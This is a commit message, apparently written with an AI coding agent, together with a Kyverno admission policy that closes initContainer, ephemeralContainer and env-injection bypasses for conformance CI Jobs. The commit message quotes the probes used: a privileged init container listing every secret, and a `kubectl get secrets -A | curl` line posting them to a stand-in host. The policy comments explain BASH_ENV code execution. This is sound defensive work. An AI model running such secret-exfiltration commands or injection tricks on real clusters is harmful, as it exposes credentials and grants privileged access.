Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the
ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed.
MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant,
`serviceAccountName: conformance-runner`:
* a `privileged: true` `docker.io/library/alpine:latest` initContainer running
`kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED
* the committed template with ONLY the init container's args swapped for
`kubectl get secrets -A | curl -X POST ... http://evil.invalid/`
-> pass: 3, fail: 0 ADMITTED
Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's
`containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to
`containers[0]`. `ephemeralContainers` and `env` were equally unread.
Four new rules:
* trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args,
non-root, no privilege escalation, not privileged.
* trigger-may-not-declare-ephemeral-containers.
* trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a
variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash
sources it before running a non-interactive script, and the runner's command IS one.
* trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.
All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step
PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I
nearly wrote it that way.
THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the
command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the
committed script from an attacker's, because both are just data. The logic now lives in the
image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone`
(agent 1, PR #18 — which must merge before this template is usable). I had written a second
copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into
the image and one not, drifts into "the reviewed file is not the file that runs". I read
theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN,
baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under
/workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and
`rev-parse HEAD == SHA`.
Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets via its own RBAC. Names are the vector, because a name is what a program keys on.
Two Kyverno traps, commented in the rules because both silently invert the result:
`not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so
`allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and
`join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable
and element-wise matching lets `["/bin/sh","-c",...]` through on element 0.
ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that
`--layer all --strict-coverage` and a bare `--requirements <IDs>` fail on the runner image,
which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant —
`requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`,
and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is
mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to
`--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape
CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args
allowlist is deliberately NOT narrowed to match — a security boundary should not encode which
toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than
escalating.
PROVEN, NOT ASSERTED (7 rules):
real rendered template -> pass: 7, fail: 0
coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1)
ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1)
Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in
decisions/2026-09-29-conformance-job-template.md. Every evil
init/ephemeral/env case still PASSES the three original rules — that column is the finding.
`injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env,
which is why env had to be its own rule.
UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all.
Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether
that check reaches a nested pod template is not something I could establish without a
`create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule
added regardless: a no-op if upstream rejects it, the same hole if not.
Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources),
render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE
UNDETERMINED rc 3. Nothing FAILED.
Co-Authored-By: Claude Opus 5 (1M context) <[email protected]>
378 lines
19 KiB
YAML
378 lines
19 KiB
YAML
# Serves: R-SEC-02 (CI holds no broad cluster access)
|
|
#
|
|
# THIS POLICY IS THE SECURITY BOUNDARY. The RBAC in conformance/incluster/rbac.yaml is not.
|
|
#
|
|
# Kubernetes places NO `use` check on a Pod/Job's `serviceAccountName`. Any principal that can
|
|
# `create jobs` in namespace `conformance` can therefore create a Job that runs as
|
|
# `conformance-runner` — a privileged SA (nodes/patch, pods/exec, namespaces/patch) — with an
|
|
# arbitrary command. So the CI trigger credential, however narrow its own Role looks, IS the
|
|
# privileged identity unless something constrains the SHAPE of what it may create.
|
|
#
|
|
# That is what this does: for Jobs created by `conformance-trigger` ONLY, admit exactly the
|
|
# committed conformance run and deny everything else. The operator chose this model
|
|
# (docs/plans/l2-l3-conformance-ci-wiring.md §4, primary model) over the zero-credential
|
|
# GitOps-native alternative.
|
|
#
|
|
# ENFORCE AND FAIL-CLOSED, NOT SUBSTITUTED. Note this does NOT use
|
|
# ${KYVERNO_VALIDATION_ACTION} like the other admission policies: a security boundary that an
|
|
# environment overlay can downgrade to Audit is not a boundary. `failurePolicy: Fail` means a
|
|
# Kyverno outage blocks conformance Jobs rather than silently admitting unconstrained ones.
|
|
# Blocking CI is the correct failure direction here; admitting arbitrary privileged code is not.
|
|
#
|
|
# SCOPE: it constrains ONLY `conformance-trigger`. Jobs created by humans, by Flux, or by any
|
|
# other SA are untouched — so a broken policy cannot wedge the rest of the cluster.
|
|
#
|
|
# IMAGE PINNING — HONEST LIMIT, READ BEFORE RELYING ON THIS. The plan specifies pinning the
|
|
# exact `CONFORMANCE_RUNNER_IMAGE` digest. That image does not exist yet, so this enforces the
|
|
# enforceable half: the image must live under the conformance repository path AND be
|
|
# digest-pinned (`@sha256:`), never a mutable tag. Residual surface: anyone who can PUSH to that
|
|
# registry path could publish a different digest. TIGHTEN THIS when the image is built by
|
|
# replacing the `image` pattern below with the literal digest — a one-line change, reviewed in a
|
|
# PR, which is exactly where a change to the security boundary belongs.
|
|
apiVersion: kyverno.io/v1
|
|
kind: ClusterPolicy
|
|
metadata:
|
|
name: conformance-trigger-job-shape
|
|
annotations:
|
|
policies.kyverno.io/title: Constrain what the conformance CI trigger may create
|
|
policies.kyverno.io/category: Supply chain
|
|
policies.kyverno.io/severity: critical
|
|
homelab.keithjackson.dev/requirements: R-SEC-02
|
|
homelab.keithjackson.dev/scope: admission-only
|
|
spec:
|
|
validationFailureAction: Enforce
|
|
failurePolicy: Fail
|
|
background: false
|
|
rules:
|
|
- name: trigger-may-create-only-the-committed-conformance-run
|
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
|
match:
|
|
all:
|
|
- resources:
|
|
kinds:
|
|
- Job
|
|
namespaces:
|
|
- conformance
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: conformance-trigger
|
|
namespace: conformance
|
|
validate:
|
|
message: >-
|
|
conformance-trigger may create ONLY the committed conformance run: a single container,
|
|
digest-pinned conformance-runner image, serviceAccountName conformance-runner,
|
|
command ["./run.sh"], no host namespaces, non-root with privilege escalation disabled,
|
|
and only the `workspace` and `results` volumes. See
|
|
platform/kyverno/admission/conformance-trigger-job-shape.yaml.
|
|
pattern:
|
|
spec:
|
|
template:
|
|
spec:
|
|
serviceAccountName: conformance-runner
|
|
=(hostNetwork): "false"
|
|
=(hostPID): "false"
|
|
=(hostIPC): "false"
|
|
containers:
|
|
- image: "gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*"
|
|
command:
|
|
- "./run.sh"
|
|
securityContext:
|
|
runAsNonRoot: true
|
|
allowPrivilegeEscalation: false
|
|
=(privileged): "false"
|
|
|
|
- name: trigger-volumes-must-be-workspace-or-results
|
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
|
match:
|
|
all:
|
|
- resources:
|
|
kinds:
|
|
- Job
|
|
namespaces:
|
|
- conformance
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: conformance-trigger
|
|
namespace: conformance
|
|
validate:
|
|
message: >-
|
|
conformance-trigger Jobs may mount only the `workspace` and `results` volumes. An extra
|
|
volume is how a constrained pod reaches a host path, a secret, or another SA's token.
|
|
# foreach, NOT a `pattern` list: a Kyverno array pattern asserts "at least one element
|
|
# matches", which would happily admit a Job carrying `workspace` PLUS a hostPath. This
|
|
# asserts EVERY volume is one of the two allowed names.
|
|
foreach:
|
|
- list: "request.object.spec.template.spec.volumes"
|
|
deny:
|
|
conditions:
|
|
all:
|
|
- key: "{{ element.name }}"
|
|
operator: AnyNotIn
|
|
value: ["workspace", "results"]
|
|
|
|
- name: trigger-args-must-be-the-committed-flags
|
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
|
match:
|
|
all:
|
|
- resources:
|
|
kinds:
|
|
- Job
|
|
namespaces:
|
|
- conformance
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: conformance-trigger
|
|
namespace: conformance
|
|
validate:
|
|
message: >-
|
|
conformance-trigger Job args may contain only the conformance run's own flags
|
|
(--layer, --requirements, --include-scope, --strict-coverage) and their plain values.
|
|
Anything else — a shell, a path, a redirect — is denied.
|
|
foreach:
|
|
- list: "request.object.spec.template.spec.containers[0].args"
|
|
deny:
|
|
conditions:
|
|
all:
|
|
- key: "{{ regex_match('^(--layer|--requirements|--include-scope|--strict-coverage|[A-Za-z0-9][A-Za-z0-9,._-]*)$', element) }}"
|
|
operator: Equals
|
|
value: false
|
|
|
|
# =========================================================================================
|
|
# ADDED 2026-09-29 — THE THREE RULES ABOVE WERE BYPASSABLE VIA `initContainers`.
|
|
#
|
|
# Every rule above reads `spec.template.spec.containers` (rule 1's pattern, rule 3's
|
|
# `containers[0].args`) or `volumes` (rule 2). NONE of them read `initContainers`. So the
|
|
# exact escalation this policy exists to stop — the privileged `conformance-runner` SA
|
|
# executing an arbitrary command, because Kubernetes places no `use` check on
|
|
# `serviceAccountName` — was reachable one field over, with `containers[0]` left fully
|
|
# compliant. MEASURED with the pinned CLI (kyverno v1.19.0) before this rule existed:
|
|
#
|
|
# a Job with serviceAccountName conformance-runner and an initContainer
|
|
# `docker.io/library/alpine:latest`, `privileged: true`, running `kubectl get secrets -A`
|
|
# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED
|
|
#
|
|
# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
|
|
#
|
|
# WHY THIS PINS A PATH IN THE IMAGE RATHER THAN VETTING A SCRIPT. An init container IS
|
|
# needed — the suite has to be cloned at the commit under test. But while the clone logic
|
|
# lived inline as `command: ["/bin/bash","-c"]` + `args: [<script>]`, no policy could tell
|
|
# the committed script from an attacker's: both are just `args` on a shell. So the clone
|
|
# logic moved into the runner image at a fixed path
|
|
# (conformance/incluster/conformance-clone -> /usr/local/bin/conformance-clone) and this
|
|
# rule pins `command` to that path with NO args. An admitted init container therefore
|
|
# carries no caller-supplied code at all — only the commit SHA, in env, which the entrypoint
|
|
# itself validates against ^[0-9a-f]{40}$.
|
|
#
|
|
# `deny` conditions rather than a `pattern`: a Kyverno array pattern asserts "at least one
|
|
# element matches", which would admit the committed clone step PLUS an arbitrary second
|
|
# init container — the same class of hole rule 2's comment describes for volumes.
|
|
# =========================================================================================
|
|
- name: trigger-initcontainers-must-be-the-committed-clone-step
|
|
# resources AND subjects in the SAME filter entry — that is how Kyverno ANDs them.
|
|
# As two separate `all` entries it is a schema error ("match resources not specified")
|
|
# and the whole policy loads as INVALID, which the CLI reports as a SKIP.
|
|
match:
|
|
all:
|
|
- resources:
|
|
kinds:
|
|
- Job
|
|
namespaces:
|
|
- conformance
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: conformance-trigger
|
|
namespace: conformance
|
|
validate:
|
|
message: >-
|
|
conformance-trigger Jobs may carry at most ONE initContainer, and it must be the
|
|
committed clone step: the digest-pinned conformance-runner image,
|
|
command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege
|
|
escalation, not privileged. An initContainer running a shell with a caller-supplied
|
|
script is arbitrary code execution as the privileged conformance-runner SA — the
|
|
escalation the rest of this policy exists to prevent. See
|
|
conformance/incluster/conformance-clone.
|
|
foreach:
|
|
- list: "request.object.spec.template.spec.initContainers"
|
|
deny:
|
|
conditions:
|
|
any:
|
|
# At most one. The committed run needs exactly one clone step; a second
|
|
# init container has no legitimate purpose and is how you smuggle one in.
|
|
- key: "{{ length(request.object.spec.template.spec.initContainers) }}"
|
|
operator: GreaterThan
|
|
value: 1
|
|
# Digest-pinned under the conformance repository path — same rule as
|
|
# containers[0], same honest limit (see IMAGE PINNING in the header).
|
|
- key: "{{ regex_match('^gitea\\.home\\.keithjackson\\.dev/home-network/conformance-runner@sha256:.+$', element.image) }}"
|
|
operator: Equals
|
|
value: false
|
|
# The baked-in entrypoint, exactly — not a shell, not a second path.
|
|
# `join` so this compares a STRING: Equals/NotEquals on arrays is not
|
|
# dependable, and `["/bin/sh","-c",...]` must not pass by matching element 0.
|
|
- key: "{{ join(' ', not_null(element.command, `[]`)) }}"
|
|
operator: NotEquals
|
|
value: "/usr/local/bin/conformance-clone"
|
|
# NO ARGS. This is the whole point: args on an init container are
|
|
# caller-supplied code. Only env may be passed, and the entrypoint validates it.
|
|
- key: "{{ length(not_null(element.args, `[]`)) }}"
|
|
operator: GreaterThan
|
|
value: 0
|
|
# not_null(), NOT `||`: JMESPath treats `false` as falsy, so
|
|
# `element.securityContext.allowPrivilegeEscalation || `true`` would rewrite
|
|
# the COMPLIANT value false into true and deny every good Job.
|
|
- key: "{{ not_null(element.securityContext.runAsNonRoot, `false`) }}"
|
|
operator: NotEquals
|
|
value: true
|
|
- key: "{{ not_null(element.securityContext.allowPrivilegeEscalation, `true`) }}"
|
|
operator: NotEquals
|
|
value: false
|
|
- key: "{{ not_null(element.securityContext.privileged, `false`) }}"
|
|
operator: NotEquals
|
|
value: false
|
|
|
|
# =========================================================================================
|
|
# ADDED 2026-09-29, same review as the rule above: `ephemeralContainers` is the third
|
|
# container list on a PodSpec, and it was as unread as `initContainers` was.
|
|
#
|
|
# Upstream Kubernetes is BELIEVED to reject `ephemeralContainers` in a Job's pod template
|
|
# (the field is settable only through the `pods/ephemeralcontainers` subresource), which
|
|
# would make this rule dead weight. THAT WAS NOT VERIFIED against this cluster, and
|
|
# "probably rejected upstream" is not a boundary. The rule costs one condition, is a no-op
|
|
# when the field is absent, and removes the need to be right about it. If the API server
|
|
# does reject it, nothing changes; if it does not, this is the same hole again.
|
|
# =========================================================================================
|
|
- name: trigger-may-not-declare-ephemeral-containers
|
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
|
match:
|
|
all:
|
|
- resources:
|
|
kinds:
|
|
- Job
|
|
namespaces:
|
|
- conformance
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: conformance-trigger
|
|
namespace: conformance
|
|
validate:
|
|
message: >-
|
|
conformance-trigger Jobs may not declare ephemeralContainers. The committed
|
|
conformance run has no use for one, and an ephemeral container is a third container
|
|
list running as the privileged conformance-runner SA with an arbitrary command.
|
|
deny:
|
|
conditions:
|
|
all:
|
|
- key: "{{ length(not_null(request.object.spec.template.spec.ephemeralContainers, `[]`)) }}"
|
|
operator: GreaterThan
|
|
value: 0
|
|
|
|
# =========================================================================================
|
|
# ADDED 2026-09-29 — `env` WAS THE NEXT UNREAD FIELD, and it is the same mistake a third time.
|
|
#
|
|
# The pattern is now unmistakable: this policy pins `command` and `args`, so injection moves
|
|
# to whatever adjacent field nobody enumerated. It was `initContainers`, then
|
|
# `ephemeralContainers`, and `env` was still wide open — an admitted Job could set ANY
|
|
# environment variable on either container.
|
|
#
|
|
# That is not hypothetical. Both programs the Job runs read their environment:
|
|
# * /usr/local/bin/conformance-clone takes CONFORMANCE_GIT_SHA, and accepts
|
|
# CONFORMANCE_REPO_URL / CONFORMANCE_SRC only when they EQUAL the values baked into the
|
|
# image (it dies on a mismatch rather than honouring a redirect — which is why the
|
|
# specific "clone an attacker's repo and run its ./run.sh as conformance-runner" path is
|
|
# already closed there, in the image, not here);
|
|
# * run.sh takes CONF_ARTIFACTS and CONF_EMIT_ARTIFACTS_TGZ.
|
|
# And bash itself takes BASH_ENV, which it sources before a non-interactive script — so
|
|
# `command: ["./run.sh"]` plus one env var is enough to change what actually executes.
|
|
# Defence in depth belongs here too: the entrypoint's own validation should not be the only
|
|
# thing standing between a caller-chosen env var and the privileged SA.
|
|
#
|
|
# NOT CONSTRAINED, and deliberately: the VALUES, and which Secret a `valueFrom` reads.
|
|
# Values are legitimately environment-specific (TMPDIR/HOME differ by image), and
|
|
# conformance-runner can already read Secrets in this namespace via its own RBAC, so
|
|
# pinning the source Secret would buy nothing. Names are the vector that matters, because a
|
|
# name is what a program keys its behaviour on.
|
|
# =========================================================================================
|
|
- name: trigger-env-names-must-be-the-committed-set
|
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
|
match:
|
|
all:
|
|
- resources:
|
|
kinds:
|
|
- Job
|
|
namespaces:
|
|
- conformance
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: conformance-trigger
|
|
namespace: conformance
|
|
validate:
|
|
message: >-
|
|
conformance-trigger Jobs may set only the committed environment variables. The runner
|
|
container may set CONF_ARTIFACTS, CONF_EMIT_ARTIFACTS_TGZ, TMPDIR and HOME; the clone
|
|
init container may set CONFORMANCE_GIT_SHA, CONFORMANCE_REPO_URL, CONFORMANCE_SRC,
|
|
GITEA_USERNAME, GITEA_TOKEN, TMPDIR and HOME. An arbitrary env var changes what the
|
|
pinned command does — BASH_ENV alone is arbitrary code execution as the privileged
|
|
conformance-runner SA. Widening this list is a reviewed one-line change.
|
|
foreach:
|
|
- list: "request.object.spec.template.spec.containers[0].env"
|
|
deny:
|
|
conditions:
|
|
all:
|
|
- key: "{{ element.name }}"
|
|
operator: AnyNotIn
|
|
value:
|
|
- CONF_ARTIFACTS
|
|
- CONF_EMIT_ARTIFACTS_TGZ
|
|
- TMPDIR
|
|
- HOME
|
|
# Flattened across init containers: the rule above already caps them at one, but this
|
|
# must not silently stop checking if that cap is ever relaxed.
|
|
- list: "request.object.spec.template.spec.initContainers[].env[]"
|
|
deny:
|
|
conditions:
|
|
all:
|
|
- key: "{{ element.name }}"
|
|
operator: AnyNotIn
|
|
value:
|
|
- CONFORMANCE_GIT_SHA
|
|
- CONFORMANCE_REPO_URL
|
|
- CONFORMANCE_SRC
|
|
- GITEA_USERNAME
|
|
- GITEA_TOKEN
|
|
- TMPDIR
|
|
- HOME
|
|
|
|
- name: trigger-may-not-use-envfrom
|
|
# resources AND subjects in the SAME filter entry — see the note on the rules above.
|
|
match:
|
|
all:
|
|
- resources:
|
|
kinds:
|
|
- Job
|
|
namespaces:
|
|
- conformance
|
|
subjects:
|
|
- kind: ServiceAccount
|
|
name: conformance-trigger
|
|
namespace: conformance
|
|
validate:
|
|
message: >-
|
|
conformance-trigger Jobs may not use envFrom. It injects an entire ConfigMap or Secret
|
|
as environment variables, whose KEYS are not visible in the Job at all — which would
|
|
make the env-name allowlist above unenforceable by inspection.
|
|
deny:
|
|
conditions:
|
|
any:
|
|
- key: "{{ length(not_null(request.object.spec.template.spec.containers[0].envFrom, `[]`)) }}"
|
|
operator: GreaterThan
|
|
value: 0
|
|
- key: "{{ length(not_null(request.object.spec.template.spec.initContainers[].envFrom[], `[]`)) }}"
|
|
operator: GreaterThan
|
|
value: 0
|